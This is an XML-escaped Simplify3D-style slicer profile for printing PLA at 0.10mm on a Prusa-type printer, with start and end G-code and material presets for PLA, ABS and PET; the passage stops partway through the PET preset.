&amp;lt;printMaterial&amp;gt;PLA&amp;lt;/printMaterial&amp;gt;&#xA;  &amp;lt;printQuality&amp;gt;0.10mm DETAIL&amp;lt;/printQuality&amp;gt;&#xA;  &amp;lt;printExtruders&amp;gt;&amp;lt;/printExtruders&amp;gt;&#xA;  &amp;lt;extruder name=&amp;quot;Primary Extruder&amp;quot;&amp;gt;&#xA;    &amp;lt;toolheadNumber&amp;gt;0&amp;lt;/toolheadNumber&amp;gt;&#xA;    &amp;lt;diameter&amp;gt;0.4&amp;lt;/diameter&amp;gt;&#xA;    &amp;lt;autoWidth&amp;gt;0&amp;lt;/autoWidth&amp;gt;&#xA;    &amp;lt;width&amp;gt;0.4&amp;lt;/width&amp;gt;&#xA;    &amp;lt;extrusionMultiplier&amp;gt;0.95&amp;lt;/extrusionMultiplier&amp;gt;&#xA;    &amp;lt;useRetract&amp;gt;1&amp;lt;/useRetract&amp;gt;&#xA;    &amp;lt;retractionDistance&amp;gt;0.8&amp;lt;/retractionDistance&amp;gt;&#xA;    &amp;lt;extraRestartDistance&amp;gt;0&amp;lt;/extraRestartDistance&amp;gt;&#xA;    &amp;lt;retractionZLift&amp;gt;0.4&amp;lt;/retractionZLift&amp;gt;&#xA;    &amp;lt;retractionSpeed&amp;gt;2400&amp;lt;/retractionSpeed&amp;gt;&#xA;    &amp;lt;useCoasting&amp;gt;0&amp;lt;/useCoasting&amp;gt;&#xA;    &amp;lt;coastingDistance&amp;gt;0.2&amp;lt;/coastingDistance&amp;gt;&#xA;    &amp;lt;useWipe&amp;gt;1&amp;lt;/useWipe&amp;gt;&#xA;    &amp;lt;wipeDistance&amp;gt;2&amp;lt;/wipeDistance&amp;gt;&#xA;  &amp;lt;/extruder&amp;gt;&#xA;  &amp;lt;primaryExtruder&amp;gt;0&amp;lt;/primaryExtruder&amp;gt;&#xA;  &amp;lt;layerHeight&amp;gt;0.1&amp;lt;/layerHeight&amp;gt;&#xA;  &amp;lt;topSolidLayers&amp;gt;10&amp;lt;/topSolidLayers&amp;gt;&#xA;  &amp;lt;bottomSolidLayers&amp;gt;8&amp;lt;/bottomSolidLayers&amp;gt;&#xA;  &amp;lt;perimeterOutlines&amp;gt;3&amp;lt;/perimeterOutlines&amp;gt;&#xA;  &amp;lt;printPerimetersInsideOut&amp;gt;1&amp;lt;/printPerimetersInsideOut&amp;gt;&#xA;  &amp;lt;startPointOption&amp;gt;3&amp;lt;/startPointOption&amp;gt;&#xA;  &amp;lt;startPointOriginX&amp;gt;0&amp;lt;/startPointOriginX&amp;gt;&#xA;  &amp;lt;startPointOriginY&amp;gt;300&amp;lt;/startPointOriginY&amp;gt;&#xA;  &amp;lt;sequentialIslands&amp;gt;0&amp;lt;/sequentialIslands&amp;gt;&#xA;  &amp;lt;spiralVaseMode&amp;gt;0&amp;lt;/spiralVaseMode&amp;gt;&#xA;  &amp;lt;firstLayerHeightPercentage&amp;gt;150&amp;lt;/firstLayerHeightPercentage&amp;gt;&#xA;  &amp;lt;firstLayerWidthPercentage&amp;gt;100&amp;lt;/firstLayerWidthPercentage&amp;gt;&#xA;  &amp;lt;firstLayerUnderspeed&amp;gt;0.6&amp;lt;/firstLayerUnderspeed&amp;gt;&#xA;  &amp;lt;useRaft&amp;gt;0&amp;lt;/useRaft&amp;gt;&#xA;  &amp;lt;raftExtruder&amp;gt;0&amp;lt;/raftExtruder&amp;gt;&#xA;  &amp;lt;raftTopLayers&amp;gt;3&amp;lt;/raftTopLayers&amp;gt;&#xA;  &amp;lt;raftBaseLayers&amp;gt;0&amp;lt;/raftBaseLayers&amp;gt;&#xA;  &amp;lt;raftOffset&amp;gt;1&amp;lt;/raftOffset&amp;gt;&#xA;  &amp;lt;raftSeparationDistance&amp;gt;0.14&amp;lt;/raftSeparationDistance&amp;gt;&#xA;  &amp;lt;raftTopInfill&amp;gt;100&amp;lt;/raftTopInfill&amp;gt;&#xA;  &amp;lt;aboveRaftSpeedMultiplier&amp;gt;0.3&amp;lt;/aboveRaftSpeedMultiplier&amp;gt;&#xA;  &amp;lt;useSkirt&amp;gt;1&amp;lt;/useSkirt&amp;gt;&#xA;  &amp;lt;skirtExtruder&amp;gt;0&amp;lt;/skirtExtruder&amp;gt;&#xA;  &amp;lt;skirtLayers&amp;gt;3&amp;lt;/skirtLayers&amp;gt;&#xA;  &amp;lt;skirtOutlines&amp;gt;3&amp;lt;/skirtOutlines&amp;gt;&#xA;  &amp;lt;skirtOffset&amp;gt;6&amp;lt;/skirtOffset&amp;gt;&#xA;  &amp;lt;usePrimePillar&amp;gt;0&amp;lt;/usePrimePillar&amp;gt;&#xA;  &amp;lt;primePillarExtruder&amp;gt;999&amp;lt;/primePillarExtruder&amp;gt;&#xA;  &amp;lt;primePillarWidth&amp;gt;12&amp;lt;/primePillarWidth&amp;gt;&#xA;  &amp;lt;primePillarLocation&amp;gt;7&amp;lt;/primePillarLocation&amp;gt;&#xA;  &amp;lt;primePillarSpeedMultiplier&amp;gt;1&amp;lt;/primePillarSpeedMultiplier&amp;gt;&#xA;  &amp;lt;useOozeShield&amp;gt;0&amp;lt;/useOozeShield&amp;gt;&#xA;  &amp;lt;oozeShieldExtruder&amp;gt;999&amp;lt;/oozeShieldExtruder&amp;gt;&#xA;  &amp;lt;oozeShieldOffset&amp;gt;2&amp;lt;/oozeShieldOffset&amp;gt;&#xA;  &amp;lt;oozeShieldOutlines&amp;gt;1&amp;lt;/oozeShieldOutlines&amp;gt;&#xA;  &amp;lt;oozeShieldSidewallShape&amp;gt;1&amp;lt;/oozeShieldSidewallShape&amp;gt;&#xA;  &amp;lt;oozeShieldSidewallAngle&amp;gt;30&amp;lt;/oozeShieldSidewallAngle&amp;gt;&#xA;  &amp;lt;oozeShieldSpeedMultiplier&amp;gt;1&amp;lt;/oozeShieldSpeedMultiplier&amp;gt;&#xA;  &amp;lt;infillExtruder&amp;gt;0&amp;lt;/infillExtruder&amp;gt;&#xA;  &amp;lt;internalInfillPattern&amp;gt;Rectilinear&amp;lt;/internalInfillPattern&amp;gt;&#xA;  &amp;lt;externalInfillPattern&amp;gt;Rectilinear&amp;lt;/externalInfillPattern&amp;gt;&#xA;  &amp;lt;infillPercentage&amp;gt;51&amp;lt;/infillPercentage&amp;gt;&#xA;  &amp;lt;outlineOverlapPercentage&amp;gt;30&amp;lt;/outlineOverlapPercentage&amp;gt;&#xA;  &amp;lt;infillExtrusionWidthPercentage&amp;gt;120&amp;lt;/infillExtrusionWidthPercentage&amp;gt;&#xA;  &amp;lt;minInfillLength&amp;gt;2&amp;lt;/minInfillLength&amp;gt;&#xA;  &amp;lt;infillLayerInterval&amp;gt;1&amp;lt;/infillLayerInterval&amp;gt;&#xA;  &amp;lt;internalInfillAngles&amp;gt;45,-45&amp;lt;/internalInfillAngles&amp;gt;&#xA;  &amp;lt;overlapInternalInfillAngles&amp;gt;0&amp;lt;/overlapInternalInfillAngles&amp;gt;&#xA;  &amp;lt;externalInfillAngles&amp;gt;45,-45&amp;lt;/externalInfillAngles&amp;gt;&#xA;  &amp;lt;generateSupport&amp;gt;0&amp;lt;/generateSupport&amp;gt;&#xA;  &amp;lt;supportExtruder&amp;gt;0&amp;lt;/supportExtruder&amp;gt;&#xA;  &amp;lt;supportInfillPercentage&amp;gt;30&amp;lt;/supportInfillPercentage&amp;gt;&#xA;  &amp;lt;supportExtraInflation&amp;gt;1&amp;lt;/supportExtraInflation&amp;gt;&#xA;  &amp;lt;supportBaseLayers&amp;gt;1&amp;lt;/supportBaseLayers&amp;gt;&#xA;  &amp;lt;denseSupportExtruder&amp;gt;0&amp;lt;/denseSupportExtruder&amp;gt;&#xA;  &amp;lt;denseSupportLayers&amp;gt;0&amp;lt;/denseSupportLayers&amp;gt;&#xA;  &amp;lt;denseSupportInfillPercentage&amp;gt;20&amp;lt;/denseSupportInfillPercentage&amp;gt;&#xA;  &amp;lt;supportLayerInterval&amp;gt;1&amp;lt;/supportLayerInterval&amp;gt;&#xA;  &amp;lt;supportHorizontalPartOffset&amp;gt;0.3&amp;lt;/supportHorizontalPartOffset&amp;gt;&#xA;  &amp;lt;supportUpperSeparationLayers&amp;gt;1&amp;lt;/supportUpperSeparationLayers&amp;gt;&#xA;  &amp;lt;supportLowerSeparationLayers&amp;gt;1&amp;lt;/supportLowerSeparationLayers&amp;gt;&#xA;  &amp;lt;supportType&amp;gt;1&amp;lt;/supportType&amp;gt;&#xA;  &amp;lt;supportGridSpacing&amp;gt;1&amp;lt;/supportGridSpacing&amp;gt;&#xA;  &amp;lt;maxOverhangAngle&amp;gt;45&amp;lt;/maxOverhangAngle&amp;gt;&#xA;  &amp;lt;supportAngles&amp;gt;90,45&amp;lt;/supportAngles&amp;gt;&#xA;  &amp;lt;temperatureController name=&amp;quot;Primary Extruder&amp;quot;&amp;gt;&#xA;    &amp;lt;temperatureNumber&amp;gt;0&amp;lt;/temperatureNumber&amp;gt;&#xA;    &amp;lt;isHeatedBed&amp;gt;0&amp;lt;/isHeatedBed&amp;gt;&#xA;    &amp;lt;stabilizeAtStartup&amp;gt;1&amp;lt;/stabilizeAtStartup&amp;gt;&#xA;    &amp;lt;setpoint layer=&amp;quot;1&amp;quot; temperature=&amp;quot;205&amp;quot;/&amp;gt;&#xA;    &amp;lt;setpoint layer=&amp;quot;2&amp;quot; temperature=&amp;quot;200&amp;quot;/&amp;gt;&#xA;  &amp;lt;/temperatureController&amp;gt;&#xA;  &amp;lt;temperatureController name=&amp;quot;Heated Bed&amp;quot;&amp;gt;&#xA;    &amp;lt;temperatureNumber&amp;gt;0&amp;lt;/temperatureNumber&amp;gt;&#xA;    &amp;lt;isHeatedBed&amp;gt;1&amp;lt;/isHeatedBed&amp;gt;&#xA;    &amp;lt;stabilizeAtStartup&amp;gt;1&amp;lt;/stabilizeAtStartup&amp;gt;&#xA;    &amp;lt;setpoint layer=&amp;quot;1&amp;quot; temperature=&amp;quot;65&amp;quot;/&amp;gt;&#xA;    &amp;lt;setpoint layer=&amp;quot;2&amp;quot; temperature=&amp;quot;63&amp;quot;/&amp;gt;&#xA;    &amp;lt;setpoint layer=&amp;quot;5&amp;quot; temperature=&amp;quot;62&amp;quot;/&amp;gt;&#xA;  &amp;lt;/temperatureController&amp;gt;&#xA;  &amp;lt;fanSpeed&amp;gt;&#xA;    &amp;lt;setpoint layer=&amp;quot;1&amp;quot; speed=&amp;quot;0&amp;quot;/&amp;gt;&#xA;    &amp;lt;setpoint layer=&amp;quot;2&amp;quot; speed=&amp;quot;100&amp;quot;/&amp;gt;&#xA;  &amp;lt;/fanSpeed&amp;gt;&#xA;  &amp;lt;blipFanToFullPower&amp;gt;0&amp;lt;/blipFanToFullPower&amp;gt;&#xA;  &amp;lt;adjustSpeedForCooling&amp;gt;1&amp;lt;/adjustSpeedForCooling&amp;gt;&#xA;  &amp;lt;minSpeedLayerTime&amp;gt;15&amp;lt;/minSpeedLayerTime&amp;gt;&#xA;  &amp;lt;minCoolingSpeedSlowdown&amp;gt;40&amp;lt;/minCoolingSpeedSlowdown&amp;gt;&#xA;  &amp;lt;increaseFanForCooling&amp;gt;0&amp;lt;/increaseFanForCooling&amp;gt;&#xA;  &amp;lt;minFanLayerTime&amp;gt;20&amp;lt;/minFanLayerTime&amp;gt;&#xA;  &amp;lt;maxCoolingFanSpeed&amp;gt;50&amp;lt;/maxCoolingFanSpeed&amp;gt;&#xA;  &amp;lt;increaseFanForBridging&amp;gt;1&amp;lt;/increaseFanForBridging&amp;gt;&#xA;  &amp;lt;bridgingFanSpeed&amp;gt;100&amp;lt;/bridgingFanSpeed&amp;gt;&#xA;  &amp;lt;use5D&amp;gt;1&amp;lt;/use5D&amp;gt;&#xA;  &amp;lt;relativeEdistances&amp;gt;1&amp;lt;/relativeEdistances&amp;gt;&#xA;  &amp;lt;allowEaxisZeroing&amp;gt;1&amp;lt;/allowEaxisZeroing&amp;gt;&#xA;  &amp;lt;independentExtruderAxes&amp;gt;0&amp;lt;/independentExtruderAxes&amp;gt;&#xA;  &amp;lt;includeM10123&amp;gt;0&amp;lt;/includeM10123&amp;gt;&#xA;  &amp;lt;stickySupport&amp;gt;1&amp;lt;/stickySupport&amp;gt;&#xA;  &amp;lt;applyToolheadOffsets&amp;gt;0&amp;lt;/applyToolheadOffsets&amp;gt;&#xA;  &amp;lt;gcodeXoffset&amp;gt;0&amp;lt;/gcodeXoffset&amp;gt;&#xA;  &amp;lt;gcodeYoffset&amp;gt;0&amp;lt;/gcodeYoffset&amp;gt;&#xA;  &amp;lt;gcodeZoffset&amp;gt;0&amp;lt;/gcodeZoffset&amp;gt;&#xA;  &amp;lt;overrideMachineDefinition&amp;gt;1&amp;lt;/overrideMachineDefinition&amp;gt;&#xA;  &amp;lt;machineTypeOverride&amp;gt;0&amp;lt;/machineTypeOverride&amp;gt;&#xA;  &amp;lt;strokeXoverride&amp;gt;250&amp;lt;/strokeXoverride&amp;gt;&#xA;  &amp;lt;strokeYoverride&amp;gt;210&amp;lt;/strokeYoverride&amp;gt;&#xA;  &amp;lt;strokeZoverride&amp;gt;210&amp;lt;/strokeZoverride&amp;gt;&#xA;  &amp;lt;originOffsetXoverride&amp;gt;0&amp;lt;/originOffsetXoverride&amp;gt;&#xA;  &amp;lt;originOffsetYoverride&amp;gt;0&amp;lt;/originOffsetYoverride&amp;gt;&#xA;  &amp;lt;originOffsetZoverride&amp;gt;0&amp;lt;/originOffsetZoverride&amp;gt;&#xA;  &amp;lt;homeXdirOverride&amp;gt;-1&amp;lt;/homeXdirOverride&amp;gt;&#xA;  &amp;lt;homeYdirOverride&amp;gt;-1&amp;lt;/homeYdirOverride&amp;gt;&#xA;  &amp;lt;homeZdirOverride&amp;gt;-1&amp;lt;/homeZdirOverride&amp;gt;&#xA;  &amp;lt;flipXoverride&amp;gt;1&amp;lt;/flipXoverride&amp;gt;&#xA;  &amp;lt;flipYoverride&amp;gt;-1&amp;lt;/flipYoverride&amp;gt;&#xA;  &amp;lt;flipZoverride&amp;gt;1&amp;lt;/flipZoverride&amp;gt;&#xA;  &amp;lt;toolheadOffsets&amp;gt;0,0|0,0|0,0|0,0|0,0|0,0&amp;lt;/toolheadOffsets&amp;gt;&#xA;  &amp;lt;overrideFirmwareConfiguration&amp;gt;0&amp;lt;/overrideFirmwareConfiguration&amp;gt;&#xA;  &amp;lt;firmwareTypeOverride&amp;gt;RepRap (Marlin/Repetier/Sprinter)&amp;lt;/firmwareTypeOverride&amp;gt;&#xA;  &amp;lt;GPXconfigOverride&amp;gt;r2&amp;lt;/GPXconfigOverride&amp;gt;&#xA;  &amp;lt;baudRateOverride&amp;gt;115200&amp;lt;/baudRateOverride&amp;gt;&#xA;  &amp;lt;overridePrinterModels&amp;gt;1&amp;lt;/overridePrinterModels&amp;gt;&#xA;  &amp;lt;printerModelsOverride&amp;gt;&amp;lt;/printerModelsOverride&amp;gt;&#xA;  &amp;lt;startingGcode&amp;gt;M115 U3.6.0 ; tell printer latest fw version,M205 X8.00 Y8.00 Z0.40 E1.50 ; sets the jerk limits mm/sec,G28 W ; home all without mesh bed level,G80 ; mesh bed leveling,G1 Y-3.0 F1000.0 ; go outside printing area,G92 E0.0,G1 X60.0 E9.0  F1000.0 ; intro line,G1 X100.0 E12.5  F1000.0 ; intro line,G92 E0.0,M221 S100,M900 K30 ; Linear Advance PLA,&amp;lt;/startingGcode&amp;gt;&#xA;  &amp;lt;layerChangeGcode&amp;gt;&amp;lt;/layerChangeGcode&amp;gt;&#xA;  &amp;lt;retractionGcode&amp;gt;&amp;lt;/retractionGcode&amp;gt;&#xA;  &amp;lt;toolChangeGcode&amp;gt;&amp;lt;/toolChangeGcode&amp;gt;&#xA;  &amp;lt;endingGcode&amp;gt;M104 S0 ; turn off temperature,M140 S0 ; turn off heatbed,M107 ; turn off fan,G1 X0 Y200 F2000 ; home X axis,M84 ; disable motors&amp;lt;/endingGcode&amp;gt;&#xA;  &amp;lt;exportFileFormat&amp;gt;gcode&amp;lt;/exportFileFormat&amp;gt;&#xA;  &amp;lt;celebration&amp;gt;0&amp;lt;/celebration&amp;gt;&#xA;  &amp;lt;celebrationSong&amp;gt;Take On Me&amp;lt;/celebrationSong&amp;gt;&#xA;  &amp;lt;postProcessing&amp;gt;{REPLACE &amp;amp;quot;; feature outer perimeter\n&amp;amp;quot; &amp;amp;quot;; feature outer perimeter\nM204 S500\n&amp;amp;quot;},{REPLACE &amp;amp;quot;; feature inner perimeter\n&amp;amp;quot; &amp;amp;quot;; feature inner perimeter\nM204 S800\n&amp;amp;quot;},{REPLACE &amp;amp;quot;; feature solid layer\n&amp;amp;quot; &amp;amp;quot;; feature solid layer\nM204 S800\n&amp;amp;quot;},{REPLACE &amp;amp;quot;; feature infill\n&amp;amp;quot; &amp;amp;quot;; feature infill\nM204 S1250\n&amp;amp;quot;}&amp;lt;/postProcessing&amp;gt;&#xA;  &amp;lt;defaultSpeed&amp;gt;2700&amp;lt;/defaultSpeed&amp;gt;&#xA;  &amp;lt;outlineUnderspeed&amp;gt;0.6&amp;lt;/outlineUnderspeed&amp;gt;&#xA;  &amp;lt;solidInfillUnderspeed&amp;gt;0.8&amp;lt;/solidInfillUnderspeed&amp;gt;&#xA;  &amp;lt;supportUnderspeed&amp;gt;0.9&amp;lt;/supportUnderspeed&amp;gt;&#xA;  &amp;lt;rapidXYspeed&amp;gt;10800&amp;lt;/rapidXYspeed&amp;gt;&#xA;  &amp;lt;rapidZspeed&amp;gt;720&amp;lt;/rapidZspeed&amp;gt;&#xA;  &amp;lt;minBridgingArea&amp;gt;50&amp;lt;/minBridgingArea&amp;gt;&#xA;  &amp;lt;bridgingExtraInflation&amp;gt;1&amp;lt;/bridgingExtraInflation&amp;gt;&#xA;  &amp;lt;bridgingExtrusionMultiplier&amp;gt;0.95&amp;lt;/bridgingExtrusionMultiplier&amp;gt;&#xA;  &amp;lt;bridgingSpeedMultiplier&amp;gt;0.9&amp;lt;/bridgingSpeedMultiplier&amp;gt;&#xA;  &amp;lt;useFixedBridgingAngle&amp;gt;0&amp;lt;/useFixedBridgingAngle&amp;gt;&#xA;  &amp;lt;fixedBridgingAngle&amp;gt;0&amp;lt;/fixedBridgingAngle&amp;gt;&#xA;  &amp;lt;applyBridgingToPerimeters&amp;gt;0&amp;lt;/applyBridgingToPerimeters&amp;gt;&#xA;  &amp;lt;filamentDiameters&amp;gt;1.75|1.75|1.75|1.75|1.75|1.75&amp;lt;/filamentDiameters&amp;gt;&#xA;  &amp;lt;filamentPricesPerKg&amp;gt;24.99|24.99|24.99|24.99|24.99|24.99&amp;lt;/filamentPricesPerKg&amp;gt;&#xA;  &amp;lt;filamentDensities&amp;gt;1.25|1.24|1.24|1.24|1.24|1.24&amp;lt;/filamentDensities&amp;gt;&#xA;  &amp;lt;useMinPrintHeight&amp;gt;0&amp;lt;/useMinPrintHeight&amp;gt;&#xA;  &amp;lt;minPrintHeight&amp;gt;0&amp;lt;/minPrintHeight&amp;gt;&#xA;  &amp;lt;useMaxPrintHeight&amp;gt;0&amp;lt;/useMaxPrintHeight&amp;gt;&#xA;  &amp;lt;maxPrintHeight&amp;gt;0&amp;lt;/maxPrintHeight&amp;gt;&#xA;  &amp;lt;useDiaphragm&amp;gt;0&amp;lt;/useDiaphragm&amp;gt;&#xA;  &amp;lt;diaphragmLayerInterval&amp;gt;20&amp;lt;/diaphragmLayerInterval&amp;gt;&#xA;  &amp;lt;robustSlicing&amp;gt;1&amp;lt;/robustSlicing&amp;gt;&#xA;  &amp;lt;mergeAllIntoSolid&amp;gt;0&amp;lt;/mergeAllIntoSolid&amp;gt;&#xA;  &amp;lt;onlyRetractWhenCrossingOutline&amp;gt;0&amp;lt;/onlyRetractWhenCrossingOutline&amp;gt;&#xA;  &amp;lt;retractBetweenLayers&amp;gt;1&amp;lt;/retractBetweenLayers&amp;gt;&#xA;  &amp;lt;useRetractionMinTravel&amp;gt;1&amp;lt;/useRetractionMinTravel&amp;gt;&#xA;  &amp;lt;retractionMinTravel&amp;gt;2&amp;lt;/retractionMinTravel&amp;gt;&#xA;  &amp;lt;retractWhileWiping&amp;gt;1&amp;lt;/retractWhileWiping&amp;gt;&#xA;  &amp;lt;onlyWipeOutlines&amp;gt;1&amp;lt;/onlyWipeOutlines&amp;gt;&#xA;  &amp;lt;avoidCrossingOutline&amp;gt;1&amp;lt;/avoidCrossingOutline&amp;gt;&#xA;  &amp;lt;maxMovementDetourFactor&amp;gt;3&amp;lt;/maxMovementDetourFactor&amp;gt;&#xA;  &amp;lt;toolChangeRetractionDistance&amp;gt;12&amp;lt;/toolChangeRetractionDistance&amp;gt;&#xA;  &amp;lt;toolChangeExtraRestartDistance&amp;gt;-0.5&amp;lt;/toolChangeExtraRestartDistance&amp;gt;&#xA;  &amp;lt;toolChangeRetractionSpeed&amp;gt;600&amp;lt;/toolChangeRetractionSpeed&amp;gt;&#xA;  &amp;lt;externalThinWallType&amp;gt;1&amp;lt;/externalThinWallType&amp;gt;&#xA;  &amp;lt;internalThinWallType&amp;gt;1&amp;lt;/internalThinWallType&amp;gt;&#xA;  &amp;lt;thinWallAllowedOverlapPercentage&amp;gt;100&amp;lt;/thinWallAllowedOverlapPercentage&amp;gt;&#xA;  &amp;lt;singleExtrusionMinLength&amp;gt;1&amp;lt;/singleExtrusionMinLength&amp;gt;&#xA;  &amp;lt;singleExtrusionMinPrintingWidthPercentage&amp;gt;50&amp;lt;/singleExtrusionMinPrintingWidthPercentage&amp;gt;&#xA;  &amp;lt;singleExtrusionMaxPrintingWidthPercentage&amp;gt;200&amp;lt;/singleExtrusionMaxPrintingWidthPercentage&amp;gt;&#xA;  &amp;lt;singleExtrusionEndpointExtension&amp;gt;0.2&amp;lt;/singleExtrusionEndpointExtension&amp;gt;&#xA;  &amp;lt;horizontalSizeCompensation&amp;gt;0&amp;lt;/horizontalSizeCompensation&amp;gt;&#xA;  &amp;lt;autoConfigureMaterial name=&amp;quot;PLA&amp;quot;&amp;gt;&#xA;    &amp;lt;temperatureController name=&amp;quot;Primary Extruder&amp;quot;&amp;gt;&#xA;      &amp;lt;temperatureNumber&amp;gt;0&amp;lt;/temperatureNumber&amp;gt;&#xA;      &amp;lt;isHeatedBed&amp;gt;0&amp;lt;/isHeatedBed&amp;gt;&#xA;      &amp;lt;stabilizeAtStartup&amp;gt;1&amp;lt;/stabilizeAtStartup&amp;gt;&#xA;      &amp;lt;setpoint layer=&amp;quot;1&amp;quot; temperature=&amp;quot;205&amp;quot;/&amp;gt;&#xA;      &amp;lt;setpoint layer=&amp;quot;2&amp;quot; temperature=&amp;quot;200&amp;quot;/&amp;gt;&#xA;    &amp;lt;/temperatureController&amp;gt;&#xA;    &amp;lt;temperatureController name=&amp;quot;Heated Bed&amp;quot;&amp;gt;&#xA;      &amp;lt;temperatureNumber&amp;gt;0&amp;lt;/temperatureNumber&amp;gt;&#xA;      &amp;lt;isHeatedBed&amp;gt;1&amp;lt;/isHeatedBed&amp;gt;&#xA;      &amp;lt;stabilizeAtStartup&amp;gt;1&amp;lt;/stabilizeAtStartup&amp;gt;&#xA;      &amp;lt;setpoint layer=&amp;quot;1&amp;quot; temperature=&amp;quot;65&amp;quot;/&amp;gt;&#xA;      &amp;lt;setpoint layer=&amp;quot;2&amp;quot; temperature=&amp;quot;63&amp;quot;/&amp;gt;&#xA;      &amp;lt;setpoint layer=&amp;quot;5&amp;quot; temperature=&amp;quot;62&amp;quot;/&amp;gt;&#xA;    &amp;lt;/temperatureController&amp;gt;&#xA;    &amp;lt;globalExtrusionMultiplier&amp;gt;0.95&amp;lt;/globalExtrusionMultiplier&amp;gt;&#xA;    &amp;lt;fanSpeed&amp;gt;&#xA;      &amp;lt;setpoint layer=&amp;quot;1&amp;quot; speed=&amp;quot;0&amp;quot;/&amp;gt;&#xA;      &amp;lt;setpoint layer=&amp;quot;2&amp;quot; speed=&amp;quot;100&amp;quot;/&amp;gt;&#xA;    &amp;lt;/fanSpeed&amp;gt;&#xA;    &amp;lt;increaseFanForBridging&amp;gt;1&amp;lt;/increaseFanForBridging&amp;gt;&#xA;    &amp;lt;bridgingFanSpeed&amp;gt;100&amp;lt;/bridgingFanSpeed&amp;gt;&#xA;    &amp;lt;startingGcode&amp;gt;M115 U3.6.0 ; tell printer latest fw version,M205 X8.00 Y8.00 Z0.40 E1.50 ; sets the jerk limits mm/sec,G28 W ; home all without mesh bed level,G80 ; mesh bed leveling,G1 Y-3.0 F1000.0 ; go outside printing area,G92 E0.0,G1 X60.0 E9.0  F1000.0 ; intro line,G1 X100.0 E12.5  F1000.0 ; intro line,G92 E0.0,M221 S100,M900 K30 ; Linear Advance PLA,&amp;lt;/startingGcode&amp;gt;&#xA;    &amp;lt;filamentPricesPerKg&amp;gt;24.99|24.99|24.99|24.99|24.99|24.99&amp;lt;/filamentPricesPerKg&amp;gt;&#xA;    &amp;lt;filamentDensities&amp;gt;1.25|1.24|1.24|1.24|1.24|1.24&amp;lt;/filamentDensities&amp;gt;&#xA;  &amp;lt;/autoConfigureMaterial&amp;gt;&#xA;  &amp;lt;autoConfigureMaterial name=&amp;quot;ABS&amp;quot;&amp;gt;&#xA;    &amp;lt;temperatureController name=&amp;quot;Primary Extruder&amp;quot;&amp;gt;&#xA;      &amp;lt;temperatureNumber&amp;gt;0&amp;lt;/temperatureNumber&amp;gt;&#xA;      &amp;lt;isHeatedBed&amp;gt;0&amp;lt;/isHeatedBed&amp;gt;&#xA;      &amp;lt;stabilizeAtStartup&amp;gt;1&amp;lt;/stabilizeAtStartup&amp;gt;&#xA;      &amp;lt;setpoint layer=&amp;quot;1&amp;quot; temperature=&amp;quot;240&amp;quot;/&amp;gt;&#xA;    &amp;lt;/temperatureController&amp;gt;&#xA;    &amp;lt;temperatureController name=&amp;quot;Heated Bed&amp;quot;&amp;gt;&#xA;      &amp;lt;temperatureNumber&amp;gt;0&amp;lt;/temperatureNumber&amp;gt;&#xA;      &amp;lt;isHeatedBed&amp;gt;1&amp;lt;/isHeatedBed&amp;gt;&#xA;      &amp;lt;stabilizeAtStartup&amp;gt;1&amp;lt;/stabilizeAtStartup&amp;gt;&#xA;      &amp;lt;setpoint layer=&amp;quot;1&amp;quot; temperature=&amp;quot;100&amp;quot;/&amp;gt;&#xA;    &amp;lt;/temperatureController&amp;gt;&#xA;    &amp;lt;globalExtrusionMultiplier&amp;gt;0.95&amp;lt;/globalExtrusionMultiplier&amp;gt;&#xA;    &amp;lt;fanSpeed&amp;gt;&#xA;      &amp;lt;setpoint layer=&amp;quot;1&amp;quot; speed=&amp;quot;0&amp;quot;/&amp;gt;&#xA;    &amp;lt;/fanSpeed&amp;gt;&#xA;    &amp;lt;increaseFanForBridging&amp;gt;1&amp;lt;/increaseFanForBridging&amp;gt;&#xA;    &amp;lt;bridgingFanSpeed&amp;gt;30&amp;lt;/bridgingFanSpeed&amp;gt;&#xA;    &amp;lt;startingGcode&amp;gt;M115 U3.6.0 ; tell printer latest fw version,M205 X8.00 Y8.00 Z0.40 E1.50 ; sets the jerk limits mm/sec,G28 W ; home all without mesh bed level,G80 ; mesh bed leveling,G1 Y-3.0 F1000.0 ; go outside printing area,G92 E0.0,G1 X60.0 E9.0  F1000.0 ; intro line,G1 X100.0 E12.5  F1000.0 ; intro line,G92 E0.0,M221 S100,M900 K30 ; Linear Advance ABS,&amp;lt;/startingGcode&amp;gt;&#xA;    &amp;lt;filamentPricesPerKg&amp;gt;27.82|27.82|27.82|27.82|27.82|27.82&amp;lt;/filamentPricesPerKg&amp;gt;&#xA;    &amp;lt;filamentDensities&amp;gt;1.08|1.08|1.08|1.08|1.08|1.08&amp;lt;/filamentDensities&amp;gt;&#xA;  &amp;lt;/autoConfigureMaterial&amp;gt;&#xA;  &amp;lt;autoConfigureMaterial name=&amp;quot;PET&amp;quot;&amp;gt;&#xA;    &amp;lt;temperatureController name=&amp;quot;Primary Extruder&amp;quot;&amp;gt;&#xA;      &amp;lt;temperatureNumber&amp;gt;0&amp;lt;/temperatureNumber&amp;gt;&#xA;      &amp;lt;isHeatedBed&amp;gt;0&amp;lt;/isHeatedBed&amp;gt;&#xA;      &amp;lt;stabilizeAtStartup&amp;gt;1&amp;lt;/stabilizeAtStartup&amp;gt;&#xA;      &amp;lt;setpoint layer=&amp;quot;1&amp;quot; temperature=&amp;quot;230&amp;quot;/&amp;gt;&#xA;      &amp;lt;setpoint layer=&amp;quot;2&amp;quot; temperature=&amp;quot;240&amp;quot;/&amp;gt;&#xA;    &amp;lt;/temperatureController&amp;gt;&#xA;    &amp;lt;temperatureController name=&amp;quot;Heated Bed&amp;quot;&amp;gt;&#xA;      &amp;lt;temperatureNumber&amp;gt;0&amp;lt;/temperatureNumber&amp;gt;&#xA;      &amp;lt;isHeatedBed&amp;gt;1&amp;lt;/isHeatedBed&amp;gt;&#xA;      &amp;lt;stabilizeAtStartup&amp;gt;1&amp;lt;/stabilizeAtStartup&amp;gt;&#xA;      &amp;lt;setpoint layer=&amp;quot;1&amp;quot; temperature=&amp;quot;85&amp;quot;/&amp;gt;&#xA;      &amp;lt;setpoint layer=&amp;quot;2&amp;quot; temperature=&amp;quot;90&amp;quot;/&amp;gt;&#xA;    &amp;lt;/temperatureController&amp;gt;&#xA;    &amp;lt;globalExtrusionMultiplier&amp;gt;0.95&amp;lt;/globalExtrusionMultiplier&amp;gt;&#xA;    &amp;lt;fanSpeed&amp;gt;&#xA;      &amp;lt;setpoint layer=&amp;quot;1&amp;quot; speed=&amp;quot;0&amp;quot;/&amp;gt;&#xA;      &amp;lt;setpoint layer=&amp;quot;4&amp;quot; speed=&amp;quot;50&amp;quot;/&amp;gt;&#xA;    &amp;lt;/fanSpeed&amp;gt;&#xA;    